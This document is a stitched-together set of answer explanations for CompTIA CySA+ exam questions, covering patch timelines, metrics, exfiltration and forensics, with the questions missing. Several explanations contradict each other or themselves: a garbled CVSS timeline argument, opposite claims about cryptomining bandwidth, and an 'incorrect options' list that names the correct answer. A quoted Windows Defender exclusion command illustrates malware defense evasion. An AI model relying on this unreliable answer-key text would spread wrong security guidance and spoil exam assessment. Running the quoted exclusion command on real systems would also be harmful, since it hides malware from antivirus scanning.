CVSS 7.9 - 9.0: Patch within 14 days

CVSS 5.0 - 7.9: Patch within 30 days

CVSS 0 - 5.0: Patch within 60 days

Step 2: Analyzing the Output Tab

From the Output tab:

Server 192.168.76.5 has a CVSS score of 9.2 for an unsupported Microsoft IIS version, indicating a critical vulnerability requiring a patch within 7 days.

Server 192.168.76.6 has a CVSS score of 7.4 for a missing secure attribute on HTTPS cookies, which falls in the 5.0 - 7.9 range, requiring a patch within 30 days.

Since the question asks for the server to be patched within 14 days, we need to focus on servers with CVSS 7.9 - 9.0:

None of the servers have a CVSS score that falls precisely in the 7.9 - 9.0 range.

However, 192.168.76.5, with a CVSS score of 9.2, has a vulnerability that necessitates a quick response and fits as it must be patched within the shortest timeframe (7 days, which includes 14 days).

The server that fits within a 14-day urgency, based on standard practices, would be 192.168.76.5.

Step 3: Reviewing the Environment Tab

The Environment Tab provides additional context for 192.168.76.5:

It’s in the dev environment, which is internal and not publicly accessible.

MFA is required, indicating security measures are already present.

Step 4: Selecting the Appropriate Technique and Mitigation

For 192.168.76.5, with the Microsoft IIS unsupported version:

Patch; upgrade IIS to the current release is the most suitable option, as upgrading IIS will resolve the unsupported software vulnerability by bringing it up-to-date with supported versions.

This technique addresses the root cause, which is the unpatched, outdated software.

Summary

Server to be patched within 14 calendar days: 192.168.76.5

Appropriate technique and mitigation: Patch; upgrade IIS to the current release

This approach ensures that the most critical vulnerabilities are addressed promptly, maintaining security compliance.

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of the remediation. Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are allowed to the IT environment12. Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer. Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify it3. References: Inhibitors to Remediation — SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation…

The correct answer is A. Address space layout randomization.

Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities, such as buffer overflows1. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process runs2.

The other options are not the best explanations for why the memory address changes every time the process runs. Data execution prevention (B) is a security control that prevents code from being executed in certain memory regions, such as the stack or the heap3. Stack canary © is a security technique that places a random value on the stack before a function’s return address, to detect and prevent stack buffer overflows. Code obfuscation (D) is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer. These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.

Agent-based vulnerability scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and only the results are transmitted over the network. Agent-based vulnerability scanning can also provide more accurate and up-to-date results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons.

The goal of allowing a message recipient to prove the message ' s origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non-repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications.

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.

Reverse engineering is the process of analyzing a binary file to understand its structure, functionality, and behavior. It can help to identify the purpose of the binary file, such as whether it is a malicious program, a legitimate application, or a library. Reverse engineering can involve various techniques, such as disassembling, decompiling, debugging, or extracting strings or resources from the binary file123. Reverse engineering can also help to find vulnerabilities, backdoors, or hidden features in the binary file

Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or applying firewall rules12.

An SLA, or Service Level Agreement, is a contract between a service provider and its customers that documents what services the provider will furnish and defines the service standards the provider is obligated to meet. In the scenario described, the missed incident response deadline is a clear indicator of an SLA violation. An SLA usually outlines the metrics by which service is measured as well as remedies or penalties should agreed-upon service levels not be achieved. Unlike a KPI (Key Performance Indicator) which is a quantifiable measure used to evaluate the success of an organization, employee, etc., in meeting objectives for performance, or an MOU (Memorandum of Understanding) which is a formal agreement between two or more parties, an SLA is focused on the performance and quality metrics applicable to the service provided. SLO (Service Level Objective) is related and often part of an SLA, representing the specific measurable characteristics of the SLA such as availability, throughput, frequency, response time, or quality.

The correct answer is A. MTTD — Mean Time to Detect — measures the average time between the beginning of a security incident and its detection. A shorter MTTD means the organization detects incidents faster, which can reduce attacker dwell time, limit damage, and reduce the incident’s overall impact.

Exact supporting extract: the Secbay CySA+ guide defines MTTD as the average duration between the occurrence of a security incident and its detection. It states that MTTD reflects the effectiveness of monitoring and detection capabilities and that reducing MTTD improves cybersecurity resilience.

The official CySA+ objectives include mean time to detect, mean time to respond, mean time to remediate, and alert volume under incident response metrics and KPIs.

Why the other options are incorrect:

B is incorrect because MTTD does not guarantee leadership is notified before exploitation.

C is incorrect because the time between detection and response is closer to MTTR, not MTTD.

D is incorrect because MTTD is a reporting metric, not a regulatory compliance process.

A is correct because faster detection normally reduces potential incident impact.

Adding the SHA-256 hash of a legitimate Microsoft-signed binary like svchost.exe to detection signatures would result in the indicator firing on the majority of Windows devices. Svchost.exe is a common and legitimate system process used by Windows, and using its hash as an indicator ofcompromise (IOC) would generate numerous false positives, as it would match the legitimate instances of svchost.exe running on all Windows systems.

Implementing segmentation with ACLs is the best solution to secure the network. Segmentation is the process of dividing a network into smaller subnetworks, or segments, based on criteria such as function, location, or security level. Segmentation can help improve the network performance, scalability, and manageability, as well as enhance the network security by isolating the sensitive or critical data and systems from the rest of the network. ACLs are Access Control Lists, which are rules or policies that specify which users, devices, or applications can access a network segment or resource, and which actions they can perform. ACLs can help enforce the principle of least privilege, and prevent unauthorized or malicious access to the network segments or resources12. Configuring logging and monitoring to the SIEM, deploying MFA to cloud storage locations, and rolling out an IDS are all good security practices, but they are not the best solution to secure the network. Logging and monitoring tothe SIEM can help detect and analyze the network events and incidents, but they do not prevent them. MFA can help authenticate the users who access the cloud storage locations, but it does not protect the network from attacks or breaches. IDS can help identify and alert the network intrusions, but it does not block them34 . References: Network Segmentation: What It Is and How to Do It Right, What is an Access Control List (ACL)? | IBM, What is SIEM? | Microsoft Security, What is Multifactor Authentication (MFA)? | Duo Security, [What is an Intrusion Detection System (IDS)? | IBM]

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

The correct answer is B . The packet capture shows ICMP echo request traffic, which is normally associated with ping. However, the scenario shows millions of packets carrying data payloads to an external destination, while proprietary data is already being sold on the dark web. That strongly indicates data is being hidden inside ICMP traffic, which is exfiltration over an alternative protocol.

The CompTIA CySA+ CS0-003 objectives list data exfiltration , unexpected outbound communication , and packet capture tools such as Wireshark and tcpdump under Security Operations malicious activity analysis.

The Sybex CySA+ Study Guide explains that ping uses ICMP echo requests and that ICMP is normally used to check whether a remote host is reachable. The All-in-One guide defines data exfiltration as unauthorized transfer of sensitive information from a compromised system to an external location and notes that attackers may use covert channels to exfiltrate data.

Why the other options are incorrect:

A is incorrect because the evidence does not prove an insider or normal command-and-control activity.

C is incorrect because there is no evidence of virus propagation, scanning, or lateral spread.

D is incorrect because an ICMP DDoS would focus on overwhelming a target, not carrying data payloads outbound.

===========

The correct answer is B. Rule to detect and block OS commands. A remote code execution attack allows an attacker to execute malicious code or operating system commands on a target system. Since the question asks what should be configured in a WAF, the best answer is a WAF rule that detects and blocks command-execution patterns, such as attempts to invoke shell commands, command separators, or dangerous OS-level functions.

Exact supporting extract: the All-in-One CySA+ guide states that remote code execution describes an attacker’s ability to execute malicious code on a target platform and may allow arbitrary command execution. It also lists application firewalls as a direct RCE mitigation because they monitor and filter traffic to an application and block suspicious or malicious traffic.

The Secbay CySA+ guide also explains that WAFs filter and monitor HTTP traffic between a web application and the internet, and that WAF rules are configured to block known attack patterns and common web application vulnerabilities.

Why the other options are incorrect:

A. Rate control in deny mode is more useful for throttling abuse, brute-force attempts, scraping, or denial-of-service-style traffic, not specifically RCE.

C. Parameterized queries are a strong mitigation for SQL injection, but they are implemented in application/database code, not configured in a WAF.

D. Stored procedure in the database is database-side logic and does not directly configure the WAF to detect or block RCE payloads.

B is best because RCE commonly involves malicious command execution, and the WAF should block those command patterns before they reach the application.

The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be applied to harden a system1.

The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not involve system hardening. Continuous authorization © is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.

The given firewall logs indicatehigh outbound traffic with low IP reputation, sustained over time, which is a strongindicator of cryptomining activity​.

Option A (Anomalous activity)is a general term but does not specifywhythe activity is suspicious.

Option B (Bandwidth saturation)occurs when network traffic is overwhelming, but cryptomining typicallyuses CPU/GPU powerrather than overwhelming bandwidth.

Option D (Denial of service - DoS)would result incontinuous large requests, but cryptomining generatesconsistent, high-bandwidth outbound trafficrather than bursts of large requests.

Thus,C is the correct answer, as cryptomininggenerates unusual outbound network activity from internal hosts to mining pools​.

Answer below images

Segmenting the entire department from the network and reviewing each computer offline is the first step the incident response staff members should take when they arrive. This step can help contain the malware infection and prevent it from spreading to other systems or networks. Reviewing each computer offline can help identify the source and scope of the infection, and determine the best course of action for recovery12. Turning on all systems, scanning for infection, and backing up data to a USB storage device is a risky step, as it can activate the malware and cause further damage or data loss. It can also compromise the USB storage device and any other system that connects to it. Identifying and removing the software installed on the impacted systems in the department is a possible step, but it should be done after segmenting the department from the network and reviewing each computer offline. Explaining that malware cannot truly be removed and then reimaging the devices is a drastic step, as it can result in data loss and downtime. It should be done only as a last resort, and after backing up the data and verifying its integrity. Logging on to the impacted systems with an administrator account that has privileges to perform backups is a dangerous step, as it can expose the administrator credentials and privileges to the malware, and allow it to escalate its access and capabilities34. References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Best Practices | SANS Institute, Malware Removal: How to Remove Malware from Your Device, How to Remove Malware From Your PC | PCMag

Penetration testing is the best strategy to evaluate the security of the software without the source code. Penetration testing is a type of security testing that simulates real-world attacks on the software to identify and exploit its vulnerabilities. Penetration testing can be performed on the software as a black box, meaning that the tester does not need to have access to the source code or the internal structure of the software. Penetration testing can help the analyst to assess the security posture of the software, the potential impact of the vulnerabilities, and the effectiveness of the existing security controls12. Static testing, vulnerability testing, and dynamic testing are other types of security testing, but they usually require access to the source code or the internal structure of the software. Static testing is the analysis of the software code or design without executing it. Vulnerability testing is the identification and evaluation of the software weaknesses or flaws. Dynamic testing is the analysis of the software code or design while executing it345. References: Penetration Testing - OWASP, What is a Penetration Test and How Does It Work?, Static Code Analysis | OWASP Foundation, Vulnerability Scanning Best Practices, Dynamic Testing - OWASP

The best control to allow the organization to identify rogue devices more quickly is A. Implement a continuous monitoring policy. A continuous monitoring policy is a set of procedures and tools that enable an organization to detect and respond to unauthorized or anomalous activities on its network in real time or near real time. A continuous monitoring policy can help identify rogue access points as soon as they appear on the network, rather than waiting for quarterly or monthly scans. A continuous monitoring policy can also help improve the overall security posture and compliance of the organization by providing timely and accurate information about its network assets, vulnerabilities, threats, and incidents1.

Mean Time to Detect (MTTD) is the most appropriate Key Performance Indicator (KPI) to monitor the effectiveness of an incident response reporting and communication program among the choices provided.

Why B is correct: The primary goal of an " incident reporting " program (whether automated by tools or reported by users/staff) is to alert the security team to an issue as quickly as possible. MTTD measures the average time it takes for an organization to identify (detect and report) an incident after it has occurred. A lower MTTD directly indicates that the reporting mechanisms and communication channels from the source to the analysts are operating effectively.

Why A is incorrect: Incident volume measures the quantity of incidents, which reflects the threat landscape or workload rather than the effectiveness of the response program itself. While an increase in user-reported volume can indicate better awareness, MTTD is the standard performance metric for the process.

Why C is incorrect: Average time to patch is a KPI for Vulnerability Management, not Incident Response reporting.

Why D is incorrect: Remediated incidents refers to the volume of resolved issues (Response/Recovery phase) and does not specifically measure the speed or quality of the reporting and communication (detection) phase.

In Domain 4 (Reporting and Communication) and Domain 1 (Security Operations), CompTIA emphasizes the use of time-based metrics to evaluate process maturity.

MTTD (Mean Time to Detect): Measures " dwell time " and the efficiency of the Detection & Reporting phase.

MTTR (Mean Time to Respond): Measures the efficiency of the Response & Recovery phase.

​

The correct answer is A because MTTD stands for Mean Time to Detect. It measures how long it takes an organization to identify that a security incident has occurred. A shorter MTTD means the organization detects incidents faster, which usually allows containment and response to begin sooner. Faster detection can reduce attacker dwell time, limit damage, and reduce the overall impact of the incident.

Exact supporting extract: the Secbay CySA+ guide defines MTTD as “the average duration between the occurrence of a security incident and its detection.” It also states that MTTD represents the effectiveness of monitoring and detection capabilities, and that communicating MTTD gives stakeholders a quantitative measure of detection efficiency.

The same guide states that “Reducing MTTD is often a key objective in enhancing overall cybersecurity resilience,” which directly supports the idea that a shorter MTTD helps reduce potential incident impact.

The official CompTIA CS0-003 objectives list Mean time to detect, Mean time to respond, Mean time to remediate, and alert volume under incident response reporting and communication metrics and KPIs.

Why the other options are incorrect:

A is correct because shorter detection time usually reduces the window of opportunity for attackers and lowers possible incident impact.

B is incorrect because improved MTTD does not guarantee leadership will know about threats before exploitation. MTTD measures detection after an incident or event begins.

C is incorrect because MTTD does not define the time between detection and response. That relates more closely to MTTR, mean time to respond.

D is incorrect because MTTD is a metric used in incident response reporting, but it is not itself a regulatory compliance process or an approved reporting procedure.

Fuzzing is a process used to test applications by inputting unexpected or random data to see how the application behaves. This method is particularly effective in identifying vulnerabilities such as buffer overflows, input validation errors, and other anomalies that could cause the application to crash or behave unexpectedly. By using fuzzing, the security team can ensure the new application is robust and capable of handling unexpected strings with anomalous formats without crashing.

A web application firewall (WAF) is a tool that can protect web servers from attacks such as SQL injection, cross-site scripting, and other web-based threats. A WAF can filter, monitor, and block malicious HTTP traffic before it reaches the web server. A WAF can also be configured with rules and policies to detect and prevent specific types of attacks.

Mean time to contain is the metric that the cybersecurity team lead should include in the weekly executive briefs, as it measures how long it takes to stop the spread of malware that enters the network. Mean time to contain is the average time it takes to isolate and neutralize an incident or a threat, such as malware, from the time it is detected. Mean time to contain is an important metric for evaluating the effectiveness and efficiency of the incident response process, as well as the potential impact and damage of the incident or threat. A lower mean time to contain indicates a faster and more successful response, which can reduce the risk and cost of the incident or threat. Mean time to contain can also be compared with other metrics, such as mean time to detect or mean time to remediate, to identify gaps or areas for improvement in the incident response process. 

The first and most urgent step to mitigate the impact of compromised credentials on the dark web is to perform a forced password reset for the affected user. This will prevent the cybercriminals from using the stolen credentials to access the company’s network and systems. Multifactor authentication is a good security measure, but it is not foolproof and can be bypassed by sophisticated attackers. Therefore, changing the password as soon as possible is the best practice to reduce the risk of a data breach or other cyber attack123 References: 1: How to monitor the dark web for compromised employee credentials 2: How to prevent corporate credentials ending up on the dark web 3: Data Breach Prevention: Identifying Leaked Credentials on the Dark Web

Wiresharkis apacket capture and analysis toolthat allows analysts to inspect network traffic and detectcleartext credentialssent over protocols like HTTP, FTP, and Telnet​.

Option A (OpenVAS)is avulnerability scanner, not a network analysis tool.

Option B (Angry IP Scanner)identifiesactive hosts, but does not analyze packet contents.

Option D (Maltego)is used forOSINT and network reconnaissance, not packet inspection.

Thus,C (Wireshark) is the correct answer, as itcaptures and analyzes network packets to identify unencrypted passwords​.

High GPU utilization is the most likely indicator that cryptomining is occurring, as it reflects the intensive computational work that is required to solve the complex mathematical problems involved in mining cryptocurrencies. Cryptomining is the process of generating new units of a cryptocurrency by using computing power to verify transactions and create new blocks on the blockchain. Cryptomining can be done legitimately by individuals or groups who participate in a mining pool and share the rewards, or illegitimately by threat actors who use malware or scripts to hijack the computing resources of unsuspecting victims and use them for their own benefit. This practice is called cryptojacking, and it can cause performance degradation, increased power consumption, and security risks for the affected systems. Cryptomining typically relies on the GPU (graphics processing unit) rather than the CPU (central processing unit), as the GPU is better suited for parallel processing and can handle more calculations per second. Therefore, a high GPU utilization rate can be a sign that cryptomining is taking place on a system, especially if there is no other explanation for the increased workload. The other options are not as indicative of cryptomining as high GPU utilization, as they can have other causes or explanations. Bandwidth consumption can be affected by many factors, such as network traffic, streaming services, downloads, or updates. It is not directly related to cryptomining, which does notrequire a lot of bandwidth to communicate with the mining pool or the blockchain network. Unauthorized changes can be a result of many types of malware or cyberattacks, such as ransomware, spyware, or trojans. They are not specific to cryptomining, which does not necessarily alter any files or settings on the system, but rather uses its processing power. Unusual traffic spikes can also be caused by various factors, such as legitimate surges in demand, distributed denial-of-service attacks, or botnets. They are not indicative of cryptomining, which does not generate a lot of traffic or requests to or from the system.

nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score of 8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and technical means by which the vulnerability can be exploited. The exploitability score is calculated based on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker12. nessie.explosion has the highest exploitability score because it has the lowest values for all four metrics: Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be exploited remotely over the network, without requiring any user interaction or privileges, and with low complexity. Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they require physical proximity, user involvement, or some privileges34. References: CVSS v3.1 Specification Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples - FIRST

The correct answer is D because the analyst should first validate whether the suspicious DNS domains are malicious or legitimate. Random-looking DNS domains may indicate malware using a domain generation algorithm (DGA) for command-and-control, but they can also appear in legitimate services such as content delivery networks or software update mechanisms. Therefore, the best first step is to enrich the DNS indicators using threat intelligence and reputation sources.

Exact supporting extract: the CySA+ All-in-One guide explains that DNS tunneling and abnormal DNS queries may be used for command-and-control or exfiltration. It also states that high-entropy domains appear random or “gibberish” to humans and that malware may use DGAs for C2 communication. However, it also warns that computer-generated domain names can have legitimate uses in content delivery networks.

The same guide explains that threat research should help answer questions such as whether an artifact is benign, whether anyone has seen it before, and why it is present in the system. It further explains that reputation data for domains, URLs, and IP addresses helps determine whether activity is associated with malware, phishing, C2, or data exfiltration.

Why the other options are incorrect:

A is incorrect because allowing the domains without validation could permit C2 or data exfiltration.

B is incorrect because reinstalling the software does not determine whether the DNS activity is malicious.

C is incorrect because blocking all outbound connections is a containment action, not the best first investigative step when the analyst is still determining whether compromise occurred.

D is correct because threat intelligence/reputation lookup is the most appropriate first validation step for suspicious DNS indicators.

The code snippet provided suggests an SQL injection vulnerability, indicated by the use of " 1=1, " which is a common SQL injection technique to bypass authentication. To mitigate this risk, validating user input is the most effective control, as it ensures that any input is properly sanitized and escapes potentially malicious characters before interacting with the database. This is a key principle from CompTIA Security+ guidelines on secure coding practices. Options A and B are unrelated to the vulnerability type here, and while access control (Option C) is generally good practice, it does not specifically prevent SQL injection.

The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced. Thiscan affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.

Digital signatures ensure the integrity and non-repudiation of emails. Integrity ensures that the message has not been altered in transit, as the digital signature would be invalidated if the content were tampered with. Non-repudiation ensures that the sender cannot deny having sent the email, as the digital signature is unique to their identity. These principles are crucial for legal validity, as recommended by CompTIA Security+ standards. Confidentiality (A) and privacy (C) relate to encryption, while authorization (F) and anonymity (D) are unrelated to the primary purpose of digital signatures in this context.

A Secure Software Development Life Cycle (SDLC) integrates security measures at each stage of development to reduce vulnerabilities and improve the overall security of the software. This is essential for minimizing risks related to software usage and ensuring compliance with regulatory requirements, which is particularly important for organizations handling sensitive data. As per CompTIA standards, a Secure SDLC helps prevent security breaches and protects both the organization and its users from potential harm. Options A, C, and D do not accurately describe the primary goals of a Secure SDLC, which primarily centers on risk reduction and regulatory compliance.

The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor creation. The presence of a device with this name on the network could indicate that an attacker has plugged in a malicious USB device to a system and gained access to the network. Official References: https://github.com/mame82/P4wnP1_aloa

Defense evasion is the technique of avoiding detection or prevention by security tools or mechanisms. In this case, the freeware program is likely a malware that generates random DNS queries to communicate with a command and control server or exfiltrate data. The command Add-MpPreference -ExclusionPath ' %Program Filest\ksysconfig ' is used to add an exclusion path to Windows Defender, which is a built-in antivirus software, to prevent it from scanning the malware folder. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 204; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 212. pr

The correct answer is B. In forensic analysis, the analyst wants to preserve volatile evidence and prevent the user from changing system state. If the computer is powered off, data in memory, running processes, active network connections, and other volatile artifacts may be lost. If the user continues interacting with the computer, they may unintentionally overwrite or alter evidence.

Exact supporting extract: the Sybex CySA+ Study Guide states that forensic evidence acquisition may require “making live memory images to ensure that information is not lost when a system is powered off.” It also explains that order of volatility measures how easy data is to lose and that data in memory or caches is highly volatile.

The Secbay CySA+ guide also states that allowing a computer to enter hibernation or sleep mode can change memory properties and result in loss of forensic evidence. It further explains that failing to follow order of volatility will likely result in evidence being lost.

Why the other options are incorrect:

A is incorrect because the main reason is evidence preservation, not preventing misuse.

C is incorrect because the analyst is not validating tool installation or patch status.

D is incorrect because legal hold is a legal preservation process, not the immediate reason to keep a live system powered on.